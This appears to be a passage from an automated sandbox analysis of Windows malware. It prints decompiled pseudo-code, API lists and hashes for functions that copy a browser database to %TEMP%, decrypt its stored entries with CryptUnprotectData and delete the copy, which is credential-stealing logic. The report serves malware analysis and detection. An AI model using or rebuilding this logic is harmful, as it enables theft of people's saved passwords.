				intOrPtr* _t160;
				void* _t162;
				void* _t165;
				intOrPtr* _t167;
				intOrPtr* _t178;
				void* _t180;
				intOrPtr _t190;
				void* _t198;
				intOrPtr _t209;
				void* _t215;
				intOrPtr _t224;
				intOrPtr _t225;
				void* _t226;
				void* _t227;

				_t222 = __esi;
				_t221 = __edi;
				_t188 = __ebx;
				_t224 = _t225;
				_push(__ecx);
				_t190 = 0xa;
				do {
					_push(0);
					_push(0);
					_t190 = _t190 - 1;
					_t230 = _t190;
				} while (_t190 != 0);
				_t1 =  &_v8;
				 *_t1 = _t190;
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				 *[fs:eax] = _t225;
				E004034E4( &_v36);
				_t77 =  *0x41b1c4; // 0x41c6c0
				E0040709C( *((intOrPtr*)( *_t77))( *[fs:eax], 0x40a99b, _t224, __ebx, _t190), __ebx,  &_v56, __esi, _t230);
				_push(_v56);
				E00406FDC( &_v60, __ebx, __edi, __esi, _t230);
				_push(_v60);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, __ebx,  &_v48, _t230);
				E004062FC(L"%TEMP%",  &_v68, _t230);
				_push(_v68);
				_push(0x40a9d4);
				_push(_v44);
				E00403E78();
				E004078D8(_v64, _t188,  &_v52, _t230);
				_t92 = E00403D98(_v52);
				CopyFileW(E00403D98(_v48), _t92, 0xffffffff); // executed
				E0040377C( &_v72, _v52);
				E00404B58(_v72, _t188,  *_t1,  &_v40, __esi, _t230);
				E00403D88( &_v76, _v40);
				_t105 = E0040776C(_v76, _t188,  *_t1); // executed
				if(_t105 != 0) {
					_t124 =  *0x41b140; // 0x41ca20
					_t126 =  *((intOrPtr*)( *_t124))(E00403990(_v40),  &_v20); // executed
					_t226 = _t225 + 8;
					if(_t126 == 0) {
						_t144 =  *0x41b348; // 0x41c920
						_t148 =  *0x41b2d4; // 0x41ca28
						_t150 =  *((intOrPtr*)( *_t148))(_v20, E00403990( *_t144), 0xffffffff,  &_v24,  &_v28); // executed
						_t227 = _t226 + 0x14;
						if(_t150 == 0) {
							while(1) {
								_push(_v24);
								_t152 =  *0x41b384; // 0x41ca2c
								if( *((intOrPtr*)( *_t152))() != 0x64) {
									goto L9;
								}
								_t156 =  *0x41b414; // 0x41ca34
								_t160 =  *0x41b1dc; // 0x41ca30
								_t162 =  *((intOrPtr*)( *_t160))(_v24, 2,  *((intOrPtr*)( *_t156))(_v24, 2));
								_t227 = _t227 + 0x10;
								_pop(_t215);
								E0040A610(_t162,  &_v32, _t215);
								_t165 = E00403790(_v32);
								__eflags = _t165;
								if(_t165 != 0) {
									_t167 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v80,  *((intOrPtr*)( *_t167))(_v24, 1));
									E0040377C( &_v84, _v12);
									_t178 =  *0x41b1dc; // 0x41ca30
									_t180 =  *((intOrPtr*)( *_t178))(_v24, 0, _v84, _v32, _v80);
									_t227 = _t227 + 0x10;
									E004036DC( &_v88, _t180);
									_push(_v88);
									E0040377C( &_v92, _v16);
									_pop(_t198);
									E0040525C(0x40a9e0, _t188, _t198, _v92, _t221, _t222);
								}
							}
						}
					}
					L9:
					_t128 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t128))(_v24);
					_t132 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t132))(_v20);
					E00403D88(_a4, _v36);
					DeleteFileW(E00403D98(_v52)); // executed
				}
				_pop(_t209);
				 *[fs:eax] = _t209;
				_push(E0040A9A2);
				E00403508( &_v92, 4);
				E00403BDC( &_v76);
				E004034E4( &_v72);
				E00403BF4( &_v68, 7);
				E004034E4( &_v40);
				E00403508( &_v36, 2);
				return E00403BF4( &_v16, 3);
			}

0x0040a6f0
0x0040a6f0
0x0040a6f0
0x0040a6f1
0x0040a6f3
0x0040a6f4
0x0040a6f9
0x0040a6f9
0x0040a6fb
0x0040a6fd
0x0040a6fd
0x0040a6fd
0x0040a701
0x0040a701
0x0040a705
0x0040a708
0x0040a70b
0x0040a711
0x0040a719
0x0040a721
0x0040a731
0x0040a737
0x0040a73c
0x0040a748
0x0040a74d
0x0040a753
0x0040a758
0x0040a75b
0x0040a768
0x0040a773
0x0040a780
0x0040a785
0x0040a788
0x0040a78d
0x0040a798
0x0040a7a3
0x0040a7ad
0x0040a7c3
0x0040a7cb
0x0040a7d6
0x0040a7e1
0x0040a7e9
0x0040a7f0
0x0040a803
0x0040a80a
0x0040a80c
0x0040a811
0x0040a821
0x0040a832
0x0040a839
0x0040a83b
0x0040a840
0x0040a8f1
0x0040a8f4
0x0040a8f5
0x0040a902
0x00000000
0x00000000
0x0040a851
0x0040a864
0x0040a86b
0x0040a86d
0x0040a873
0x0040a874
0x0040a87c
0x0040a881
0x0040a883
0x0040a88b
0x0040a89c
0x0040a8af
0x0040a8be
0x0040a8c5
0x0040a8c7
0x0040a8cf
0x0040a8d7
0x0040a8de
0x0040a8eb
0x0040a8ec
0x0040a8ec
0x0040a883
0x0040a8f1
0x0040a840
0x0040a908
0x0040a90c
0x0040a913
0x0040a91a
0x0040a921
0x0040a92a
0x0040a93f
0x0040a93f
0x0040a943
0x0040a946
0x0040a949
0x0040a956
0x0040a95e
0x0040a966
0x0040a973
0x0040a97b
0x0040a988
0x0040a99a

APIs

CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0040A9D4,?,.tmp,?,?,?,00000000,00000009,00000000,00000000,?), ref: 0040A7C3

Part of subcall function 0040A610: CryptUnprotectData.CRYPT32(00000000,00000000,00000000,00000000,00000000,00000001,?), ref: 0040A631
Part of subcall function 0040A610: LocalFree.KERNEL32(?), ref: 0040A656

DeleteFileW.KERNEL32(00000000), ref: 0040A93F

Strings

%TEMP%, xrefs: 0040A77B
.tmp, xrefs: 0040A75B

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CopyCryptDataDeleteFreeLocalUnprotect
String ID: %TEMP%$.tmp
API String ID: 691380987-3650661790
Opcode ID: a2c9a38f7f9c2a6841f1f744303939332b221d635e0c783b5c8745f7f36ca066
Instruction ID: f5a1a665642ce9f39da0367926cb43ddb89d58c2199e5c081320d952fef3b474
Opcode Fuzzy Hash: a2c9a38f7f9c2a6841f1f744303939332b221d635e0c783b5c8745f7f36ca066
Instruction Fuzzy Hash: A581A971A00109AFCB00EB99D981EDEB7F8EF48305F108576F514F72A1DB79AE058B59

Uniqueness

Uniqueness Score: -1.00%

Function 004112B8, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117
fileCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E004112B8(signed int __eax, void* __ebx, intOrPtr* __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v117;
				signed int _t66;
				signed int _t67;
				WCHAR* _t87;
				void* _t98;
				intOrPtr* _t102;
				intOrPtr _t104;
				intOrPtr* _t106;
				intOrPtr* _t110;
				intOrPtr* _t138;
				intOrPtr* _t142;
				intOrPtr _t144;
				intOrPtr* _t146;
				void* _t148;
				intOrPtr* _t150;
				intOrPtr* _t154;
				void* _t156;
				intOrPtr* _t161;
				intOrPtr* _t167;
				intOrPtr* _t173;
				void* _t175;
				intOrPtr* _t179;
				void* _t183;
				intOrPtr _t204;
				intOrPtr _t206;
				void* _t211;
				intOrPtr _t217;
				intOrPtr _t221;
				intOrPtr _t222;
				void* _t223;
				void* _t224;

				_t219 = __esi;
				_t181 = __ebx;
				_pop(_t222);
				 *__eax =  *__eax + __eax;
				 *((intOrPtr*)(__edx)) =  *((intOrPtr*)(__edx)) + __eax;
				 *__eax =  *__eax + __eax;
				 *__ecx =  *__ecx + __ecx;
				 *__eax =  *__eax | __eax;
				 *__eax =  *__eax + __eax;
				_t66 = __eax;
				 *_t66 =  *_t66 + _t66;
				_t67 = _t66 | 0x00000a00;
				 *_t67 =  *_t67 + _t67;
				_v117 = _v117 + __edx;
				_t221 = _t222;
				_t183 = 0xa;
				do {
					_push(0);
					_push(0);
					_t183 = _t183 - 1;
					_t232 = _t183;
				} while (_t183 != 0);
				_push(_t183);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t67;
				E00404150( &_v8);
				_push(_t221);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t222;
				E00403BDC( &_v28);
				_push(_t221);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t222;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t232);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t232);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t181,  &_v40, _t232);
				E004062FC(L"%TEMP%",  &_v64, _t232);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t181,  &_v44, _t232);
				_t87 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t87, 0xffffffff); // executed
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t181, _t183,  &_v36, _t219, _t232);
				E00403D88( &_v72, _v36);
				_t98 = E0040776C(_v72, _t181, _t183); // executed
				if(_t98 != 0) {
					_t102 =  *0x41b140; // 0x41ca20
					_t104 =  *((intOrPtr*)( *_t102))(E00403990(_v36),  &_v16); // executed
					_t223 = _t222 + 8;
					__eflags = _t104;
					if(_t104 == 0) {
						_t138 =  *0x41b390; // 0x41c934
						_t142 =  *0x41b2d4; // 0x41ca28
						_t144 =  *((intOrPtr*)( *_t142))(_v16, E00403990( *_t138), 0xffffffff,  &_v20,  &_v24); // executed
						_t224 = _t223 + 0x14;
						__eflags = _t144;
						if(_t144 == 0) {
							while(1) {
								_t146 =  *0x41b384; // 0x41ca2c
								_t148 =  *((intOrPtr*)( *_t146))(_v20);
								__eflags = _t148 - 0x64;
								if(_t148 != 0x64) {
									goto L12;
								}
								_t150 =  *0x41b414; // 0x41ca34
								_t154 =  *0x41b1dc; // 0x41ca30
								_t156 =  *((intOrPtr*)( *_t154))(_v20, 3,  *((intOrPtr*)( *_t150))(_v20, 3));
								_pop(_t211);
								E0040A610(_t156,  &_v48, _t211);
								E00403D88( &_v76, _v48);
								_t161 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t161))(_v20, 0, 0x4115ec, _v76, _v28));
								_t167 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t167))(_v20, 1, 0x4115ec, _v80));
								_t173 =  *0x41b1dc; // 0x41ca30
								_t175 =  *((intOrPtr*)( *_t173))(_v20, 2, 0x4115f8, _v84);
								_t224 = _t224 + 0x28;
								E00403CF4( &_v88, _t175);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t179 =  *0x41b1cc; // 0x41b0b4
								 *_t179 =  *_t179 + 1;
								__eflags =  *_t179;
							}
						}
					}
					L12:
					_t106 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t106))(_v20);
					_t110 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t110))(_v16);
					_pop(_t204);
					 *[fs:eax] = _t204;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44)); // executed
				} else {
					_pop(_t217);
					 *[fs:eax] = _t217;
				}
				_pop(_t206);
				 *[fs:eax] = _t206;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112b8
0x004112b8
0x004112b8
0x004112b9
0x004112bb
0x004112bd
0x004112bf
0x004112c0
0x004112c2
0x004112c4
0x004112c6
0x004112c8
0x004112cd
0x004112cf
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113ba
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

GetTickCount.KERNEL32 ref: 00411315
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004115E4,?,.tmp,?,?,00000000,00411526,?,00000000,004115AB,?,00000000), ref: 00411391

Strings

%TEMP%, xrefs: 00411350
.tmp, xrefs: 00411330

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: 703a61330ae7230ab4789fc2835500bcf97f461a0e222ea94e6df9a7ba2e18c5
Instruction ID: 1a8257de2d60cbb0d3980c7fc3a6a2139cbe43d2aa84506a9aa105e6b37338cb
Opcode Fuzzy Hash: 703a61330ae7230ab4789fc2835500bcf97f461a0e222ea94e6df9a7ba2e18c5
Instruction Fuzzy Hash: 1B414231904248AFDB01FFA2D852ACDBBB9EF45309F51447BF500B76A2D63CAE058B25

Uniqueness

Uniqueness Score: -1.00%

Function 004112C0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113
fileCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E004112C0(signed int __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v117;
				signed int _t66;
				signed int _t67;
				WCHAR* _t87;
				void* _t98;
				intOrPtr* _t102;
				intOrPtr _t104;
				intOrPtr* _t106;
				intOrPtr* _t110;
				intOrPtr* _t138;
				intOrPtr* _t142;
				intOrPtr _t144;
				intOrPtr* _t146;
				void* _t148;
				intOrPtr* _t150;
				intOrPtr* _t154;
				void* _t156;
				intOrPtr* _t161;
				intOrPtr* _t167;
				intOrPtr* _t173;
				void* _t175;
				intOrPtr* _t179;
				void* _t182;
				intOrPtr _t203;
				intOrPtr _t205;
				void* _t210;
				intOrPtr _t216;
				intOrPtr _t220;
				intOrPtr _t221;
				void* _t222;
				void* _t223;

				_t218 = __esi;
				_t181 = __ebx;
				 *__eax =  *__eax | __eax;
				 *__eax =  *__eax + __eax;
				_t66 = __eax;
				 *_t66 =  *_t66 + _t66;
				_t67 = _t66 | 0x00000a00;
				 *_t67 =  *_t67 + _t67;
				_v117 = _v117 + __edx;
				_t220 = _t221;
				_t182 = 0xa;
				do {
					_push(0);
					_push(0);
					_t182 = _t182 - 1;
					_t230 = _t182;
				} while (_t182 != 0);
				_push(_t182);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t67;
				E00404150( &_v8);
				_push(_t220);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t221;
				E00403BDC( &_v28);
				_push(_t220);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t221;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t230);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t230);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t181,  &_v40, _t230);
				E004062FC(L"%TEMP%",  &_v64, _t230);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t181,  &_v44, _t230);
				_t87 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t87, 0xffffffff); // executed
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t181, _t182,  &_v36, _t218, _t230);
				E00403D88( &_v72, _v36);
				_t98 = E0040776C(_v72, _t181, _t182); // executed
				if(_t98 != 0) {
					_t102 =  *0x41b140; // 0x41ca20
					_t104 =  *((intOrPtr*)( *_t102))(E00403990(_v36),  &_v16); // executed
					_t222 = _t221 + 8;
					__eflags = _t104;
					if(_t104 == 0) {
						_t138 =  *0x41b390; // 0x41c934
						_t142 =  *0x41b2d4; // 0x41ca28
						_t144 =  *((intOrPtr*)( *_t142))(_v16, E00403990( *_t138), 0xffffffff,  &_v20,  &_v24); // executed
						_t223 = _t222 + 0x14;
						__eflags = _t144;
						if(_t144 == 0) {
							while(1) {
								_t146 =  *0x41b384; // 0x41ca2c
								_t148 =  *((intOrPtr*)( *_t146))(_v20);
								__eflags = _t148 - 0x64;
								if(_t148 != 0x64) {
									goto L11;
								}
								_t150 =  *0x41b414; // 0x41ca34
								_t154 =  *0x41b1dc; // 0x41ca30
								_t156 =  *((intOrPtr*)( *_t154))(_v20, 3,  *((intOrPtr*)( *_t150))(_v20, 3));
								_pop(_t210);
								E0040A610(_t156,  &_v48, _t210);
								E00403D88( &_v76, _v48);
								_t161 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t161))(_v20, 0, 0x4115ec, _v76, _v28));
								_t167 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t167))(_v20, 1, 0x4115ec, _v80));
								_t173 =  *0x41b1dc; // 0x41ca30
								_t175 =  *((intOrPtr*)( *_t173))(_v20, 2, 0x4115f8, _v84);
								_t223 = _t223 + 0x28;
								E00403CF4( &_v88, _t175);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t179 =  *0x41b1cc; // 0x41b0b4
								 *_t179 =  *_t179 + 1;
								__eflags =  *_t179;
							}
						}
					}
					L11:
					_t106 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t106))(_v20);
					_t110 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t110))(_v16);
					_pop(_t203);
					 *[fs:eax] = _t203;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44)); // executed
				} else {
					_pop(_t216);
					 *[fs:eax] = _t216;
				}
				_pop(_t205);
				 *[fs:eax] = _t205;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112c0
0x004112c0
0x004112c0
0x004112c2
0x004112c4
0x004112c6
0x004112c8
0x004112cd
0x004112cf
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113ba
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

GetTickCount.KERNEL32 ref: 00411315
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004115E4,?,.tmp,?,?,00000000,00411526,?,00000000,004115AB,?,00000000), ref: 00411391

Strings

%TEMP%, xrefs: 00411350
.tmp, xrefs: 00411330

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: d77b3ea65ba5a3fb4577813b91ff5de3c00c81fc8dbcb24245def3036eb8b291
Instruction ID: e7bb21d7818b23da26e47d5e8aee7b9a5bdfdedc2a4558b21973e4c2dc324f20
Opcode Fuzzy Hash: d77b3ea65ba5a3fb4577813b91ff5de3c00c81fc8dbcb24245def3036eb8b291
Instruction Fuzzy Hash: 01413571904108AFDB01FFA2D842ACDBBB9EF45309F51447BF505B36A2D63CAE068A24

Uniqueness

Uniqueness Score: -1.00%

Function 004112C8, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109
fileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004112C8(signed int __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v117;
				signed int _t66;
				WCHAR* _t86;
				void* _t97;
				intOrPtr* _t101;
				intOrPtr _t103;
				intOrPtr* _t105;
				intOrPtr* _t109;
				intOrPtr* _t137;
				intOrPtr* _t141;
				intOrPtr _t143;
				intOrPtr* _t145;
				void* _t147;
				intOrPtr* _t149;
				intOrPtr* _t153;
				void* _t155;
				intOrPtr* _t160;
				intOrPtr* _t166;
				intOrPtr* _t172;
				void* _t174;
				intOrPtr* _t178;
				void* _t181;
				intOrPtr _t202;
				intOrPtr _t204;
				void* _t209;
				intOrPtr _t215;
				intOrPtr _t219;
				intOrPtr _t220;
				void* _t221;
				void* _t222;

				_t217 = __esi;
				_t180 = __ebx;
				_t66 = __eax | 0x00000a00;
				 *_t66 =  *_t66 + _t66;
				_v117 = _v117 + __edx;
				_t219 = _t220;
				_t181 = 0xa;
				do {
					_push(0);
					_push(0);
					_t181 = _t181 - 1;
					_t228 = _t181;
				} while (_t181 != 0);
				_push(_t181);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t66;
				E00404150( &_v8);
				_push(_t219);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t220;
				E00403BDC( &_v28);
				_push(_t219);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t220;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t228);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t228);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t180,  &_v40, _t228);
				E004062FC(L"%TEMP%",  &_v64, _t228);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t180,  &_v44, _t228);
				_t86 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t86, 0xffffffff); // executed
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t180, _t181,  &_v36, _t217, _t228);
				E00403D88( &_v72, _v36);
				_t97 = E0040776C(_v72, _t180, _t181); // executed
				if(_t97 != 0) {
					_t101 =  *0x41b140; // 0x41ca20
					_t103 =  *((intOrPtr*)( *_t101))(E00403990(_v36),  &_v16); // executed
					_t221 = _t220 + 8;
					__eflags = _t103;
					if(_t103 == 0) {
						_t137 =  *0x41b390; // 0x41c934
						_t141 =  *0x41b2d4; // 0x41ca28
						_t143 =  *((intOrPtr*)( *_t141))(_v16, E00403990( *_t137), 0xffffffff,  &_v20,  &_v24); // executed
						_t222 = _t221 + 0x14;
						__eflags = _t143;
						if(_t143 == 0) {
							while(1) {
								_t145 =  *0x41b384; // 0x41ca2c
								_t147 =  *((intOrPtr*)( *_t145))(_v20);
								__eflags = _t147 - 0x64;
								if(_t147 != 0x64) {
									goto L10;
								}
								_t149 =  *0x41b414; // 0x41ca34
								_t153 =  *0x41b1dc; // 0x41ca30
								_t155 =  *((intOrPtr*)( *_t153))(_v20, 3,  *((intOrPtr*)( *_t149))(_v20, 3));
								_pop(_t209);
								E0040A610(_t155,  &_v48, _t209);
								E00403D88( &_v76, _v48);
								_t160 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t160))(_v20, 0, 0x4115ec, _v76, _v28));
								_t166 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t166))(_v20, 1, 0x4115ec, _v80));
								_t172 =  *0x41b1dc; // 0x41ca30
								_t174 =  *((intOrPtr*)( *_t172))(_v20, 2, 0x4115f8, _v84);
								_t222 = _t222 + 0x28;
								E00403CF4( &_v88, _t174);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t178 =  *0x41b1cc; // 0x41b0b4
								 *_t178 =  *_t178 + 1;
								__eflags =  *_t178;
							}
						}
					}
					L10:
					_t105 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t105))(_v20);
					_t109 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t109))(_v16);
					_pop(_t202);
					 *[fs:eax] = _t202;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44)); // executed
				} else {
					_pop(_t215);
					 *[fs:eax] = _t215;
				}
				_pop(_t204);
				 *[fs:eax] = _t204;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112c8
0x004112c8
0x004112c8
0x004112cd
0x004112cf
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113ba
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

GetTickCount.KERNEL32 ref: 00411315
